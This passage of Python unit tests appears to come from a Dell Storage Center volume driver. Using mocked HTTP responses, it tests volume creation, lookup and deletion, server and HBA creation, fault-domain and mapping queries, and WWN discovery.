@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=None)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_volume_folder',
return_value=FLDR)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_400)
def test_create_volume_failure(self,
mock_post,
mock_find_volume_folder,
mock_get_json,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.create_volume(
self.volume_name,
1)
mock_find_volume_folder.assert_called_once_with(True)
self.assertIsNone(res, 'None expected')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=VOLUME_LIST)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
def test__get_volume_list_enforce_vol_fldr(self,
mock_post,
mock_get_json,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case to find volume in the configured volume folder
res = self.scapi._get_volume_list(self.volume_name, None, True)
self.assertTrue(mock_post.called)
self.assertTrue(mock_get_json.called)
self.assertEqual(self.VOLUME_LIST, res, 'Unexpected volume list')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=VOLUME_LIST)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
def test__get_volume_list_any_fldr(self,
mock_post,
mock_get_json,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case to find volume anywhere in the configured SC
res = self.scapi._get_volume_list(self.volume_name, None, False)
self.assertTrue(mock_post.called)
self.assertTrue(mock_get_json.called)
self.assertEqual(self.VOLUME_LIST, res, 'Unexpected volume list')
def test_get_volume_list_no_name_no_id(self,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case specified volume name is None and device id is None.
res = self.scapi._get_volume_list(None, None, True)
self.assertIsNone(res, 'None expected')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_204)
def test__get_volume_list_failure(self,
mock_post,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case to find volume in the configured volume folder
res = self.scapi._get_volume_list(self.volume_name, None, True)
self.assertTrue(mock_post.called)
self.assertIsNone(res, 'None expected')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_search_for_volume',
return_value=VOLUME)
def test_find_volume(self,
mock_search_for_volume,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case to find volume by name
res = self.scapi.find_volume(self.volume_name, None)
mock_search_for_volume.assert_called_once_with(self.volume_name)
self.assertEqual(self.VOLUME, res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_search_for_volume',
return_value=None)
def test_find_volume_not_found(self,
mock_search_for_volume,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case to find volume by name
res = self.scapi.find_volume(self.volume_name, None)
mock_search_for_volume.assert_called_once_with(self.volume_name)
self.assertIsNone(res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'get_volume',
return_value=VOLUME)
def test_find_volume_with_provider_id(self,
mock_get_volume,
mock_close_connection,
mock_open_connection,
mock_init):
provider_id = str(self.scapi.ssn) + '.1'
res = self.scapi.find_volume(self.volume_name, provider_id)
mock_get_volume.assert_called_once_with(provider_id)
self.assertEqual(self.VOLUME, res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'get_volume')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_search_for_volume',
return_value=VOLUME)
def test_find_volume_with_invalid_provider_id(self,
mock_search_for_volume,
mock_get_volume,
mock_close_connection,
mock_open_connection,
mock_init):
provider_id = 'WrongSSN.1'
res = self.scapi.find_volume(self.volume_name, provider_id)
mock_search_for_volume.assert_called_once_with(self.volume_name)
self.assertFalse(mock_get_volume.called)
self.assertEqual(self.VOLUME, res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'get_volume',
return_value=None)
def test_find_volume_with_provider_id_not_found(self,
mock_get_volume,
mock_close_connection,
mock_open_connection,
mock_init):
provider_id = str(self.scapi.ssn) + '.1'
res = self.scapi.find_volume(self.volume_name, provider_id)
mock_get_volume.assert_called_once_with(provider_id)
self.assertIsNone(res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'get_volume')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_import_one',
return_value=VOLUME)
def test_find_volume_with_provider_id_complete_replication(
self,
mock_import_one,
mock_get_volume,
mock_close_connection,
mock_open_connection,
mock_init):
provider_id = str(self.scapi.ssn) + '.1'
# Configure to middle of failover.
self.scapi.failed_over = True
mock_get_volume.return_value = {'name': self.repl_name}
res = self.scapi.find_volume(self.volume_name, provider_id)
self.scapi.failed_over = False
mock_import_one.assert_called_once_with(mock_get_volume.return_value,
self.volume_name)
mock_get_volume.assert_called_once_with(provider_id)
self.assertEqual(self.VOLUME, res, 'Unexpected volume')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'get_volume')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_import_one',
return_value=None)
def test_find_volume_with_provider_id_import_fail(self,
mock_import_one,
mock_get_volume,
mock_close_connection,
mock_open_connection,
mock_init):
provider_id = str(self.scapi.ssn) + '.1'
# Configure to middle of failover.
self.scapi.failed_over = True
mock_get_volume.return_value = {'name': self.repl_name}
self.assertRaises(exception.VolumeBackendAPIException,
self.scapi.find_volume, self.volume_name,
provider_id)
self.scapi.failed_over = False
mock_import_one.assert_called_once_with(mock_get_volume.return_value,
self.volume_name)
mock_get_volume.assert_called_once_with(provider_id)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_volume_list',
return_value=None)
def test_search_for_volume_no_name(self,
mock_get_volume_list,
mock_close_connection,
mock_open_connection,
mock_init):
# Test calling find_volume with no name or instanceid
res = self.scapi._search_for_volume(None)
self.assertIsNone(res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_volume_list')
def test_search_for_volume_not_found(self,
mock_get_volume_list,
mock_close_connection,
mock_open_connection,
mock_init):
# Test calling find_volume with result of no volume found
mock_get_volume_list.side_effect = [[], []]
res = self.scapi._search_for_volume(self.volume_name)
self.assertIsNone(res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_volume_list',
return_value=VOLUME_LIST_MULTI_VOLS)
def test_search_for_volume_multi_vols_found(self,
mock_get_volume_list,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where multiple volumes are found
self.assertRaises(exception.VolumeBackendAPIException,
self.scapi._search_for_volume, self.volume_name)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_200)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=VOLUME)
def test_get_volume(self,
mock_get_json,
mock_get,
mock_close_connection,
mock_open_connection,
mock_init):
provider_id = str(self.scapi.ssn) + '.1'
res = self.scapi.get_volume(provider_id)
mock_get.assert_called_once_with(
'StorageCenter/ScVolume/' + provider_id)
self.assertEqual(self.VOLUME, res)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_400)
def test_get_volume_error(self,
mock_get,
mock_close_connection,
mock_open_connection,
mock_init):
provider_id = str(self.scapi.ssn) + '.1'
res = self.scapi.get_volume(provider_id)
mock_get.assert_called_once_with(
'StorageCenter/ScVolume/' + provider_id)
self.assertIsNone(res)
def test_get_volume_no_id(self,
mock_close_connection,
mock_open_connection,
mock_init):
provider_id = None
res = self.scapi.get_volume(provider_id)
self.assertIsNone(res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=True)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'delete',
return_value=RESPONSE_200)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_search_for_volume',
return_value=VOLUME)
def test_delete_volume(self,
mock_search_for_volume,
mock_delete,
mock_get_json,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.delete_volume(self.volume_name)
self.assertTrue(mock_delete.called)
mock_search_for_volume.assert_called_once_with(self.volume_name)
self.assertTrue(mock_get_json.called)
self.assertTrue(res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=True)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'delete',
return_value=RESPONSE_200)
def test_delete_volume_with_provider_id(self,
mock_delete,
mock_get_json,
mock_close_connection,
mock_open_connection,
mock_init):
provider_id = str(self.scapi.ssn) + '.1'
res = self.scapi.delete_volume(self.volume_name, provider_id)
self.assertTrue(mock_delete.called)
self.assertTrue(mock_get_json.called)
self.assertTrue(res)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'delete',
return_value=RESPONSE_400)
def test_delete_volume_failure(self,
mock_delete,
mock_close_connection,
mock_open_connection,
mock_init):
provider_id = str(self.scapi.ssn) + '.1'
self.assertRaises(exception.VolumeBackendAPIException,
self.scapi.delete_volume, self.volume_name,
provider_id)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_search_for_volume',
return_value=None)
def test_delete_volume_no_vol_found(self,
mock_search_for_volume,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where volume to be deleted does not exist
res = self.scapi.delete_volume(self.volume_name, None)
mock_search_for_volume.assert_called_once_with(self.volume_name)
self.assertTrue(res, 'Expected True')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_folder',
return_value=SVR_FLDR)
def test_find_server_folder(self,
mock_find_folder,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi._find_server_folder(False)
mock_find_folder.assert_called_once_with(
'StorageCenter/ScServerFolder/GetList',
self.configuration.dell_sc_server_folder)
self.assertEqual(self.SVR_FLDR, res, 'Unexpected server folder')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_create_folder_path',
return_value=SVR_FLDR)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_folder',
return_value=None)
def test_find_server_folder_create_folder(self,
mock_find_folder,
mock_create_folder_path,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where specified server folder is not found and must be
# created
res = self.scapi._find_server_folder(True)
mock_find_folder.assert_called_once_with(
'StorageCenter/ScServerFolder/GetList',
self.configuration.dell_sc_server_folder)
self.assertTrue(mock_create_folder_path.called)
self.assertEqual(self.SVR_FLDR, res, 'Unexpected server folder')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_folder',
return_value=None)
def test_find_server_folder_fail(self,
mock_find_folder,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where _find_server_folder returns none
res = self.scapi._find_server_folder(
False)
mock_find_folder.assert_called_once_with(
'StorageCenter/ScServerFolder/GetList',
self.configuration.dell_sc_volume_folder)
self.assertIsNone(res, 'Expected None')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
def test_add_hba(self,
mock_post,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi._add_hba(self.SCSERVER,
self.IQN)
self.assertTrue(mock_post.called)
self.assertTrue(res)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
def test_add_hba_fc(self,
mock_post,
mock_close_connection,
mock_open_connection,
mock_init):
saveproto = self.scapi.protocol
self.scapi.protocol = 'FibreChannel'
res = self.scapi._add_hba(self.SCSERVER,
self.WWN)
self.assertTrue(mock_post.called)
self.assertTrue(res)
self.scapi.protocol = saveproto
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_400)
def test_add_hba_failure(self,
mock_post,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi._add_hba(self.SCSERVER,
self.IQN)
self.assertTrue(mock_post.called)
self.assertFalse(res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=SVR_OS_S)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
def test_find_serveros(self,
mock_post,
mock_get_json,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi._find_serveros('Red Hat Linux 6.x')
self.assertTrue(mock_get_json.called)
self.assertTrue(mock_post.called)
self.assertEqual('64702.38', res, 'Wrong InstanceId')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=SVR_OS_S)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
def test_find_serveros_not_found(self,
mock_post,
mock_get_json,
mock_close_connection,
mock_open_connection,
mock_init):
# Test requesting a Server OS that will not be found
res = self.scapi._find_serveros('Non existent OS')
self.assertTrue(mock_get_json.called)
self.assertTrue(mock_post.called)
self.assertIsNone(res, 'None expected')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_400)
def test_find_serveros_failed(self,
mock_post,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi._find_serveros('Red Hat Linux 6.x')
self.assertIsNone(res, 'None expected')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_add_hba',
return_value=FC_HBA)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'create_server',
return_value=SCSERVER)
def test_create_server_multiple_hbas(self,
mock_create_server,
mock_add_hba,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.create_server_multiple_hbas(
self.WWNS)
self.assertTrue(mock_create_server.called)
self.assertTrue(mock_add_hba.called)
self.assertEqual(self.SCSERVER, res, 'Unexpected ScServer')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_add_hba',
return_value=True)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_first_result',
return_value=SCSERVER)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_server_folder',
return_value=SVR_FLDR)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_serveros',
return_value='64702.38')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_201)
def test_create_server(self,
mock_post,
mock_find_serveros,
mock_find_server_folder,
mock_first_result,
mock_add_hba,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.create_server(self.IQN)
self.assertTrue(mock_find_serveros.called)
self.assertTrue(mock_find_server_folder.called)
self.assertTrue(mock_first_result.called)
self.assertTrue(mock_add_hba.called)
self.assertEqual(self.SCSERVER, res, 'Unexpected ScServer')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_add_hba',
return_value=True)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_first_result',
return_value=SCSERVER)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_server_folder',
return_value=SVR_FLDR)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_serveros',
return_value=None)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_201)
def test_create_server_os_not_found(self,
mock_post,
mock_find_serveros,
mock_find_server_folder,
mock_first_result,
mock_add_hba,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.create_server(self.IQN)
self.assertTrue(mock_find_serveros.called)
self.assertEqual(self.SCSERVER, res, 'Unexpected ScServer')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_add_hba',
return_value=True)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_first_result',
return_value=SCSERVER)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_server_folder',
return_value=None)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_serveros',
return_value='64702.38')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_201)
def test_create_server_fldr_not_found(self,
mock_post,
mock_find_serveros,
mock_find_server_folder,
mock_first_result,
mock_add_hba,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.create_server(self.IQN)
self.assertTrue(mock_find_server_folder.called)
self.assertEqual(self.SCSERVER, res, 'Unexpected ScServer')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_add_hba',
return_value=True)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_first_result',
return_value=SCSERVER)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_server_folder',
return_value=None)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_serveros',
return_value='64702.38')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_400)
def test_create_server_failure(self,
mock_post,
mock_find_serveros,
mock_find_server_folder,
mock_first_result,
mock_add_hba,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.create_server(self.IQN)
self.assertIsNone(res, 'None expected')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_add_hba',
return_value=True)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_first_result',
return_value=None)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_server_folder',
return_value=None)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_serveros',
return_value='64702.38')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_201)
def test_create_server_not_found(self,
mock_post,
mock_find_serveros,
mock_find_server_folder,
mock_first_result,
mock_add_hba,
mock_close_connection,
mock_open_connection,
mock_init):
# Test create server where _first_result is None
res = self.scapi.create_server(self.IQN)
self.assertIsNone(res, 'None expected')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_delete_server',
return_value=None)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_add_hba',
return_value=False)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_first_result',
return_value=SCSERVER)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_server_folder',
return_value=SVR_FLDR)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_serveros',
return_value='64702.38')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_201)
def test_create_server_addhba_fail(self,
mock_post,
mock_find_serveros,
mock_find_server_folder,
mock_first_result,
mock_add_hba,
mock_delete_server,
mock_close_connection,
mock_open_connection,
mock_init):
# Tests create server where add hba fails
res = self.scapi.create_server(self.IQN)
self.assertTrue(mock_delete_server.called)
self.assertIsNone(res, 'None expected')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_first_result',
return_value=SCSERVER)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_serverhba',
return_value=ISCSI_HBA)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
def test_find_server(self,
mock_post,
mock_find_serverhba,
mock_first_result,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.find_server(self.IQN)
self.assertTrue(mock_find_serverhba.called)
self.assertTrue(mock_first_result.called)
self.assertIsNotNone(res, 'Expected ScServer')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_serverhba',
return_value=None)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
def test_find_server_no_hba(self,
mock_post,
mock_find_serverhba,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where a ScServer HBA does not exist with the specified IQN
# or WWN
res = self.scapi.find_server(self.IQN)
self.assertTrue(mock_find_serverhba.called)
self.assertIsNone(res, 'Expected None')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_serverhba',
return_value=ISCSI_HBA)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_204)
def test_find_server_failure(self,
mock_post,
mock_find_serverhba,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where a ScServer does not exist with the specified
# ScServerHba
res = self.scapi.find_server(self.IQN)
self.assertTrue(mock_find_serverhba.called)
self.assertIsNone(res, 'Expected None')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_first_result',
return_value=ISCSI_HBA)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
def test_find_serverhba(self,
mock_post,
mock_first_result,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.find_server(self.IQN)
self.assertTrue(mock_post.called)
self.assertTrue(mock_first_result.called)
self.assertIsNotNone(res, 'Expected ScServerHba')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_204)
def test_find_serverhba_failure(self,
mock_post,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where a ScServer does not exist with the specified
# ScServerHba
res = self.scapi.find_server(self.IQN)
self.assertIsNone(res, 'Expected None')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=ISCSI_FLT_DOMAINS)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_200)
def test_find_domains(self,
mock_get,
mock_get_json,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi._find_domains(u'64702.5764839588723736074.69')
self.assertTrue(mock_get.called)
self.assertTrue(mock_get_json.called)
self.assertEqual(
self.ISCSI_FLT_DOMAINS, res, 'Unexpected ScIscsiFaultDomain')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_204)
def test_find_domains_error(self,
mock_get,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where get of ScControllerPort FaultDomainList fails
res = self.scapi._find_domains(u'64702.5764839588723736074.69')
self.assertIsNone(res, 'Expected None')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=FC_HBAS)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_200)
def test_find_initiators(self,
mock_get,
mock_get_json,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi._find_initiators(self.SCSERVER)
self.assertTrue(mock_get.called)
self.assertTrue(mock_get_json.called)
self.assertIsNotNone(res, 'Expected WWN list')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_400)
def test_find_initiators_error(self,
mock_get,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where get of ScServer HbaList fails
res = self.scapi._find_initiators(self.SCSERVER)
self.assertListEqual([], res, 'Expected empty list')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=MAPPINGS)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_200)
def test_get_volume_count(self,
mock_get,
mock_get_json,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.get_volume_count(self.SCSERVER)
self.assertTrue(mock_get.called)
self.assertTrue(mock_get_json.called)
self.assertEqual(len(self.MAPPINGS), res, 'Mapping count mismatch')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_400)
def test_get_volume_count_failure(self,
mock_get,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case of where get of ScServer MappingList fails
res = self.scapi.get_volume_count(self.SCSERVER)
self.assertTrue(mock_get.called)
self.assertEqual(-1, res, 'Mapping count not -1')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=[])
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_200)
def test_get_volume_count_no_volumes(self,
mock_get,
mock_get_json,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.get_volume_count(self.SCSERVER)
self.assertTrue(mock_get.called)
self.assertTrue(mock_get_json.called)
self.assertEqual(len([]), res, 'Mapping count mismatch')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=MAPPINGS)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_200)
def test_find_mappings(self,
mock_get,
mock_get_json,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi._find_mappings(self.VOLUME)
self.assertTrue(mock_get.called)
self.assertTrue(mock_get_json.called)
self.assertEqual(self.MAPPINGS, res, 'Mapping mismatch')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_200)
def test_find_mappings_inactive_vol(self,
mock_get,
mock_close_connection,
mock_open_connection,
mock_init):
# Test getting volume mappings on inactive volume
res = self.scapi._find_mappings(self.INACTIVE_VOLUME)
self.assertFalse(mock_get.called)
self.assertEqual([], res, 'No mappings expected')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_400)
def test_find_mappings_failure(self,
mock_get,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case of where get of ScVolume MappingList fails
res = self.scapi._find_mappings(self.VOLUME)
self.assertTrue(mock_get.called)
self.assertEqual([], res, 'Mapping count not empty')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=[])
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_200)
def test_find_mappings_no_mappings(self,
mock_get,
mock_get_json,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where ScVolume has no mappings
res = self.scapi._find_mappings(self.VOLUME)
self.assertTrue(mock_get.called)
self.assertTrue(mock_get_json.called)
self.assertEqual([], res, 'Mapping count mismatch')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=MAP_PROFILES)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_200)
def test_find_mapping_profiles(self,
mock_get,
mock_get_json,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where ScVolume has no mappings
res = self.scapi._find_mapping_profiles(self.VOLUME)
self.assertTrue(mock_get.called)
self.assertTrue(mock_get_json.called)
self.assertEqual(self.MAP_PROFILES, res)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_400)
def test_find_mapping_profiles_error(self,
mock_get,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where ScVolume has no mappings
res = self.scapi._find_mapping_profiles(self.VOLUME)
self.assertTrue(mock_get.called)
self.assertEqual([], res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_first_result',
return_value=CTRLR_PORT)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_200)
def test_find_controller_port(self,
mock_get,
mock_first_result,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi._find_controller_port(u'64702.5764839588723736070.51')
self.assertTrue(mock_get.called)
self.assertTrue(mock_first_result.called)
self.assertEqual(self.CTRLR_PORT, res, 'ScControllerPort mismatch')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_204)
def test_find_controller_port_failure(self,
mock_get,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where get of ScVolume MappingList fails
res = self.scapi._find_controller_port(self.VOLUME)
self.assertTrue(mock_get.called)
self.assertIsNone(res, 'None expected')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_controller_port',
return_value=FC_CTRLR_PORT)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_mappings',
return_value=FC_MAPPINGS)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_initiators',
return_value=WWNS)
def test_find_wwns(self,
mock_find_initiators,
mock_find_mappings,
mock_find_controller_port,
mock_close_connection,
mock_open_connection,
mock_init):
lun, wwns, itmap = self.scapi.find_wwns(self.VOLUME,
self.SCSERVER)
self.assertTrue(mock_find_initiators.called)
self.assertTrue(mock_find_mappings.called)
self.assertTrue(mock_find_controller_port.called)
# The _find_controller_port is Mocked, so all mapping pairs
# will have the same WWN for the ScControllerPort
itmapCompare = {u'21000024FF30441C': [u'5000D31000FCBE36'],
u'21000024FF30441D':
[u'5000D31000FCBE36', u'5000D31000FCBE36']}
self.assertEqual(1, lun, 'Incorrect LUN')
self.assertIsNotNone(wwns, 'WWNs is None')
self.assertEqual(itmapCompare, itmap, 'WWN mapping incorrect')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_mappings',
return_value=[])
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_initiators',
return_value=FC_HBAS)
def test_find_wwns_no_mappings(self,
mock_find_initiators,
mock_find_mappings,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where there are no ScMapping(s)
lun, wwns, itmap = self.scapi.find_wwns(self.VOLUME,
self.SCSERVER)
self.assertTrue(mock_find_initiators.called)
self.assertTrue(mock_find_mappings.called)
self.assertIsNone(lun, 'Incorrect LUN')
self.assertEqual([], wwns, 'WWNs is not empty')
self.assertEqual({}, itmap, 'WWN mapping not empty')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_controller_port',
return_value=None)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_mappings',
return_value=FC_MAPPINGS)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_initiators',
return_value=WWNS)
def test_find_wwns_no_ctlr_port(self,
mock_find_initiators,
mock_find_mappings,
mock_find_controller_port,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where ScControllerPort is none
lun, wwns, itmap = self.scapi.find_wwns(self.VOLUME,
self.SCSERVER)
self.assertTrue(mock_find_initiators.called)
self.assertTrue(mock_find_mappings.called)
self.assertTrue(mock_find_controller_port.called)
self.assertIsNone(lun, 'Incorrect LUN')
self.assertEqual([], wwns, 'WWNs is not empty')
self.assertEqual({}, itmap, 'WWN mapping not empty')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_controller_port',
return_value=FC_CTRLR_PORT_WWN_ERROR)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_mappings',
return_value=FC_MAPPINGS)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_initiators',
return_value=WWNS)
def test_find_wwns_wwn_error(self,
mock_find_initiators,
mock_find_mappings,
mock_find_controller_port,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where ScControllerPort object has WWn instead of wwn for a
# property
lun, wwns, itmap = self.scapi.find_wwns(self.VOLUME,
self.SCSERVER)
self.assertTrue(mock_find_initiators.called)
